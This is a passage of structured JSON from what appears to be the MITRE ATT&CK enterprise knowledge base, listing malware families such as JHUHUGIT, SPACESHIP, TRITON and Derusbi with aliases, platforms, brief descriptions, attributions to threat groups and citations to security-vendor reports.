2018)"},{"url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","source_name":"Kaspersky Sofacy"},{"source_name":"F-Secure Sofacy 2015","description":"F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.","url":"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/"},{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"},{"url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","source_name":"FireEye APT28 January 2017"},{"description":"Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.","url":"https://www.symantec.com/blogs/election-security/apt28-espionage-military-government","source_name":"Symantec APT28 Oct 2018"},{"description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html","source_name":"Talos Seduploader Oct 2017"},{"source_name":"Unit 42 Sofacy Feb 2018","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"}],"modified":"2020-03-30T16:51:56.323Z","name":"JHUHUGIT","description":"[JHUHUGIT](https://attack.mitre.org/software/S0044) is malware used by [APT28](https://attack.mitre.org/groups/G0007). It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SPACESHIP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8b880b41-5139-4807-baa9-309690218719","type":"malware","created":"2017-05-31T21:32:28.257Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0035","external_id":"S0035"},{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2020-03-30T03:05:20.517Z","name":"SPACESHIP","description":"[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BLUELIGHT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","type":"malware","created":"2021-10-01T20:26:49.502Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0657","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0657"},{"source_name":"BLUELIGHT","description":"(Citation: Volexity InkySquid BLUELIGHT August 2021)"},{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T21:00:52.016Z","name":"BLUELIGHT","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) is a remote access Trojan used by [APT37](https://attack.mitre.org/groups/G0067) that was first observed in early 2021.(Citation: Volexity InkySquid BLUELIGHT August 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["KGH_SPY","KGH_SPY "],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","type":"malware","created":"2020-11-06T18:58:35.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0526","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0526"},{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:42:18.822Z","name":"KGH_SPY","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing \"KGH\".(Citation: Cybereason Kimsuky November 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["down_new"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8be7c69e-d8e3-4970-9668-61de08e508cc","type":"malware","created":"2020-06-10T19:37:49.361Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0472","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0472"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.659Z","name":"down_new","description":" [down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Ixeshe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","type":"malware","created":"2017-05-31T21:32:16.360Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0015","external_id":"S0015"},{"url":"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html","description":"Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.","source_name":"Moran 2013"}],"modified":"2020-03-20T22:45:06.494Z","name":"Ixeshe","description":"[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Micropsia"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","type":"malware","created":"2019-01-29T21:47:53.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0339","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0339"},{"source_name":"Micropsia","description":"(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)"},{"description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html","source_name":"Talos Micropsia June 2017"},{"description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://blog.radware.com/security/2018/07/micropsia-malware/","source_name":"Radware Micropsia July 2018"}],"modified":"2020-03-30T17:03:01.353Z","name":"Micropsia","description":"[Micropsia](https://attack.mitre.org/software/S0339) is a remote access tool written in Delphi.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Kerrdown"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","type":"malware","created":"2021-03-02T13:38:32.673Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0585","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0585"},{"source_name":"Amnesty Intl. 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Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RARSTONE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8c553311-0baa-4146-997a-f79acef3d831","type":"malware","created":"2017-05-31T21:32:38.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0055","external_id":"S0055"},{"url":"http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/","description":"Aquino, M. (2013, June 13). RARSTONE Found In Targeted Attacks. Retrieved December 17, 2015.","source_name":"Aquino RARSTONE"}],"modified":"2020-03-30T17:24:58.616Z","name":"RARSTONE","description":"[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["VBShower"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8caa18af-4758-4fd3-9600-e8af579e89ed","type":"malware","created":"2020-05-08T20:43:25.743Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0442","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0442"},{"source_name":"Kaspersky Cloud Atlas August 2019","url":"https://securelist.com/recent-cloud-atlas-activity/92016/","description":"GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}],"modified":"2020-05-12T20:56:07.174Z","name":"VBShower","description":"[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441).(Citation: Kaspersky Cloud Atlas August 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Catchamas"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0261","external_id":"S0261"},{"source_name":"Catchamas","description":"(Citation: Symantec Catchamas April 2018)"},{"url":"https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99","description":"Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.","source_name":"Symantec Catchamas April 2018"}],"modified":"2021-02-09T14:51:14.620Z","name":"Catchamas","description":"[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["StoneDrill","DROPSHOT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","type":"malware","created":"2019-05-14T15:05:06.630Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0380","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0380"},{"source_name":"StoneDrill","description":"(Citation: Kaspersky StoneDrill 2017)"},{"source_name":"DROPSHOT","description":"(Citation: FireEye APT33 Sept 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"},{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. 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(Citation: Cylance Shell Crew Feb 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Janantha Marasinghe"],"x_mitre_aliases":["Ngrok"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--911fe4c3-444d-4e92-83b8-cc761ac5fd3b","created":"2020-09-15T13:32:10.185Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"S0508","url":"https://attack.mitre.org/software/S0508"},{"source_name":"Zdnet Ngrok September 2018","url":"https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/","description":"Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020."},{"source_name":"Cyware Ngrok May 2019","url":"https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44","description":"Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims’ systems. Retrieved September 15, 2020."},{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."},{"source_name":"FireEye Maze May 2020","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [Ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)","modified":"2022-04-06T19:49:28.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Ngrok","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Pooja Natarajan, NEC Corporation India","Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["BoxCaon"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--919a056e-5104-43b9-ad55-2ac929108b71","type":"malware","created":"2021-09-27T20:50:56.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0651","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0651"},{"source_name":"BoxCaon","description":"(Citation: Checkpoint IndigoZebra July 2021)(Citation: HackerNews IndigoZebra July 2021)"},{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."},{"source_name":"HackerNews IndigoZebra July 2021","url":"https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html","description":"Lakshmanan, R.. (2021, July 1). IndigoZebra APT Hacking Campaign Targets the Afghan Government. Retrieved September 24, 2021."}],"modified":"2021-10-16T02:17:53.847Z","name":"BoxCaon","description":"[BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. 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(2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-22T21:35:01.766Z","name":"Crutch","description":"[Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SDBbot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","type":"malware","created":"2020-06-01T12:29:05.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0461","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0461"},{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2021-03-29T20:35:47.468Z","name":"SDBbot","description":"[SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Mosquito"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--92b55426-109f-4d93-899f-1833ce91ff90","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0256","external_id":"S0256"},{"source_name":"Mosquito","description":"(Citation: ESET Turla Mosquito Jan 2018)"},{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito Jan 2018"}],"modified":"2020-03-30T17:06:45.586Z","name":"Mosquito","description":"[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Arie Olshtein, Check Point","Kobi Eisenkraft, Check Point"],"x_mitre_aliases":["RTM","Redaman"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","type":"malware","created":"2017-05-31T21:33:26.565Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0148","external_id":"S0148"},{"source_name":"Redaman","description":"(Citation: Unit42 Redaman January 2019)"},{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-07-03T22:22:05.857Z","name":"RTM","description":"[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["TRITON","HatMan","TRISIS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--93ae2edf-a598-4d2d-acd7-bcae0c021923","type":"malware","created":"2021-01-11T21:27:41.573Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0609","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0609"},{"source_name":"FireEye TRITON 2017","url":"https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html","description":"Johnson, B, et. al. (2017, December 14). Attackers Deploy New ICS Attack Framework \"TRITON\" and Cause Operational Disruption to Critical Infrastructure. Retrieved January 6, 2021."},{"source_name":"FireEye TRITON 2018","url":"https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html","description":"Miller, S. Reese, E. (2018, June 7). A Totally Tubular Treatise on TRITON and TriStation. Retrieved January 6, 2021."},{"source_name":"Dragos TRISIS","url":"https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf","description":"Dragos. (2017, December 13). TRISIS Malware Analysis of Safety System Targeted Malware. Retrieved January 6, 2021."},{"source_name":"CISA HatMan","url":"https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf","description":"CISA. (2019, February 27). MAR-17-352-01 HatMan-Safety System Targeted Malware. Retrieved January 6, 2021."},{"description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ","source_name":"FireEye TEMP.Veles 2018"}],"modified":"2021-10-27T20:47:40.880Z","name":"TRITON","description":"This entry was deprecated as it was inadvertently added to Enterprise; a similar Software entry was created for ATT&CK for ICS.\n\n[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Derusbi","PHOTO"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--94379dec-5c87-49db-b36e-66abc0b81344","created":"2017-05-31T21:32:18.668Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"S0021","url":"https://attack.mitre.org/software/S0021"},{"source_name":"PHOTO","description":"(Citation: FireEye Periscope March 2018)"},{"source_name":"Derusbi","description":"(Citation: Novetta-Axiom)"},{"source_name":"Fidelis Turbo","url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016."},{"source_name":"FireEye Periscope March 2018","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018."},{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."},{"source_name":"ThreatConnect Anthem","url":"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/","description":"ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both 